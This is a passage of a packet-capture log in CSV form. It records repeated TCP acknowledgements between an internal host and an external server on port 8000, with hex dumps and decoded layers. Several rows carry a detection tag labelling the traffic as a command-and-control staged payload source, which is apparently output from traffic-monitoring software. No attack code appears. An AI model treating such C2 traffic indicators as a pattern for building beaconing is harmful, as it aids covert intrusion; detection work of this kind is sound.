\"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45277, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16161, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649504, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57950, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:24.756634,661,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649505,bc2411360d0cbc24112907bb0800450000342d194000400602dbc0a3a7890a98980b1f40fa5fd4a9c527037eeba18010003f0af700000101050a037eeba0037eeba1,\".$.6\n..$.)....E..4-.@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11545, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 731, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649505, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649504, 58649505))]\"\"}}]\"\n2026-07-01 09:10:25.772181,662,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649504 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0de400080063f200a98980bc0a3a789fa5f1f40037eeba0d4a9c52750102014e25e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45278, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16160, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649504, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57950, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:25.772193,663,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649505,bc2411360d0cbc24112907bb0800450000342d1a4000400602dac0a3a7890a98980b1f40fa5fd4a9c527037eeba18010003f0af700000101050a037eeba0037eeba1,\".$.6\n..$.)....E..4-.@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11546, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 730, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649505, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649504, 58649505))]\"\"}}]\"\n2026-07-01 09:10:26.787886,664,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649504 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0df400080063f1f0a98980bc0a3a789fa5f1f40037eeba0d4a9c52750102014e25e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45279, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16159, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649504, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57950, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:26.787908,665,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649505,bc2411360d0cbc24112907bb0800450000342d1b4000400602d9c0a3a7890a98980b1f40fa5fd4a9c527037eeba18010003f0af700000101050a037eeba0037eeba1,\".$.6\n..$.)....E..4-.@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11547, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 729, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649505, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649504, 58649505))]\"\"}}]\"\n2026-07-01 09:10:27.803532,666,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649504 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0e0400080063f1e0a98980bc0a3a789fa5f1f40037eeba0d4a9c52750102014e25e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45280, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16158, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649504, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57950, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:27.803551,667,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649505,bc2411360d0cbc24112907bb0800450000342d1c4000400602d8c0a3a7890a98980b1f40fa5fd4a9c527037eeba18010003f0af700000101050a037eeba0037eeba1,\".$.6\n..$.)....E..4-.@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11548, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 728, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649505, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649504, 58649505))]\"\"}}]\"\n2026-07-01 09:10:28.803568,668,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649504 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0e1400080063f1d0a98980bc0a3a789fa5f1f40037eeba0d4a9c52750102014e25e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45281, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16157, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649504, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57950, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:28.803585,669,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649505,bc2411360d0cbc24112907bb0800450000342d1d4000400602d7c0a3a7890a98980b1f40fa5fd4a9c527037eeba18010003f0af700000101050a037eeba0037eeba1,\".$.6\n..$.)....E..4-.@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11549, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 727, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649505, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649504, 58649505))]\"\"}}]\"\n2026-07-01 09:10:29.819194,670,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649504 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0e2400080063f1c0a98980bc0a3a789fa5f1f40037eeba0d4a9c52750102014e25e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45282, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16156, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649504, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57950, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:29.819217,671,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649505,bc2411360d0cbc24112907bb0800450000342d1e4000400602d6c0a3a7890a98980b1f40fa5fd4a9c527037eeba18010003f0af700000101050a037eeba0037eeba1,\".$.6\n..$.)....E..4-.@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11550, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 726, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649505, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649504, 58649505))]\"\"}}]\"\n2026-07-01 09:10:30.834885,672,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649504 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0e3400080063f1b0a98980bc0a3a789fa5f1f40037eeba0d4a9c52750102014e25e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45283, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16155, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649504, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57950, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:30.834898,673,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649505,bc2411360d0cbc24112907bb0800450000342d1f4000400602d5c0a3a7890a98980b1f40fa5fd4a9c527037eeba18010003f0af700000101050a037eeba0037eeba1,\".$.6\n..$.)....E..4-.@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11551, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 725, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649505, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649504, 58649505))]\"\"}}]\"\n2026-07-01 09:10:31.850502,674,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649504 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0e4400080063f1a0a98980bc0a3a789fa5f1f40037eeba0d4a9c52750102014e25e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45284, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16154, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649504, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57950, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:31.850521,675,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649505,bc2411360d0cbc24112907bb0800450000342d204000400602d4c0a3a7890a98980b1f40fa5fd4a9c527037eeba18010003f0af700000101050a037eeba0037eeba1,\".$.6\n..$.)....E..4- @.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 11552, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 724, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64095, \"\"seq\"\": 3567895847, \"\"ack\"\": 58649505, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (58649504, 58649505))]\"\"}}]\"\n2026-07-01 09:10:32.866192,676,TCP 10.152.152.11:64095 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64095,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=58649504 Ack=3567895847,bc24112907bbbc2411360d0c080045000029b0e5400080063f190a98980bc0a3a789fa5f1f40037eeba0d4a9c52750102014e25e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45285, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16153, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64095, \"\"dport\"\": 8000, \"\"seq\"\": 58649504, \"\"ack\"\": 3567895847, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 57950, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:10:32.866214,677,TCP 192.163.167.137:8000 -> 10.152.152.11:64095,192.163.167.137,10.152.152.11,8000,64095,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3567895847 Ack=58649505,bc2411360d0cbc24112907bb0800450000342d214000400602d3c0a3a7890a98980b1f40fa5fd4a9c527037eeba18010003f0af700000101050a037eeba0037eeba1,\".$.6\n..$.)....E..4-!@.@.......\n....@._...'.~.....?\n......\n.~...~..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": 